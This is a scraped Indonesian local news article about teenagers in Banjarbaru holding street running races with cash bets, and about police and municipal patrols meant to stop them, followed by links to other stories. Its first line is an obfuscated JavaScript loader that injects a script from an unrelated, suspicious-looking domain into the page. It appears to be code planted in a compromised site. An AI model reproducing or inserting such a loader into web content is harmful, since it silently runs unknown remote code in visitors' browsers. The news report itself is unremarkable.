(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Adu lari yang diselipi taruhan uang alias judi menjadi atensi aparat kepolisian dan Pemerintah Kota Banjarbaru.
Fenomena adu lari para remaja di Ibu Kota Provinsi Kalsel ini diselipi dengan taruhan dari Rp. 20 ribu hingga ratusan ribu, terkadang bisa tembus jutaan rupiah. Dengan jarak 100 – 200 meter.
Lokasi yang dijadikan tempat adu cepat sering di Jalan SMA 3 tepat di belakang SPBU Cempaka dan Jalan Pangeran Hidayatullah depan kantor PTAM Intan Banjar.
Kasat Reskrim Polres Banjarbaru Iptu Zuhri Muhammad mengatakan, pihaknya sudah melakukan pengawasan dan pemantauan terhadap beberapa titik yang disinyalir menjadi arena balapan lari di Banjarbaru.
Baca juga: Wakil Ketua TP PKK Kapuas Buka Pasar Murah Ramadhan di Kapuas Timur
“Kalau kedapatan akan proses pidana,” ujarnya, Senin (3/4/2023) siang
Pada saat hunting, pada Senin (3/4/2023) dini hari, Polres Banjarbaru bersama Polsek Cempaka, serta Satpol PP Banjarbaru terjun langsung ke lokasi untuk melakukan pemeriksaan dan saat di lokasi kegiatan tersebut tidak ada lagi. Dia berpesan kepada masyarakat agar melaporkan jika kegiatan tersebut berlangsung.
“Laporkan, nanti dilakukan tindakan kepolisian sesuai prosedur dan tahapan yang diperlukan,” tegasnya.
Sementara itu, Humas Polres Banjarbaru, Kompol Tajudin Noor mengatakan pihaknya sudah menerjunkan tim gabungan dari kepolisian dan Pemko Banjarbaru dalam hal ini Satpol PP Banjarbaru guna mengantisipasi hal tersebut. Tim berjaga dari han 00.00 – 03.00 Wita di Jalan SMA 3 Cempaka.
Disebutkan Kompol Tajudin, giat untuk meminimalisir tindak pidana dugaan balapan lari dan adu panco disertai ajang taruhan. Pengunjungnya berasal dari daerah Kabupaten Banjar, Kabupaten Tanah Laut dan Banjarbaru.
Baca juga: Dibalik Kisah Hukuman ‘Maut’ Aksi Balap Liar
“Kami sementara memberikan imbauan agar kembali ke rumah masing-masing dan teguran lisan,” ungkapnya.
Selain membubarkan perkumpulan tersebut, Polres Banjarbaru juga memberikan teguran kepada pemilik knalpot brong agar mengganti dengan knalpot standar.(Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.